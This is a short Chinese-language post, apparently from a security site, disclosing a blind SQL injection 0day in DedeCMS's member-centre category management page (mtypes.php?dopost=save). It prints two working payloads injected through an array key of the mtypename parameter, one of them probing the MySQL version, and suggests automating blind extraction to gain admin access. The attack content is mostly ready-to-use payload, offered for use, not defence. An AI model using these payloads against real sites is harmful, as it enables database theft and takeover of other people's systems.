DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

 

发生在数组key里的注射 漏洞 ,有点意思.

 

这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下

 

http://HdhCmsTest2cto测试数据 /de/member/mtypes.php?dopost=save

 

exploit:

mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r

mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r

查看更多关于DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理的详细内容...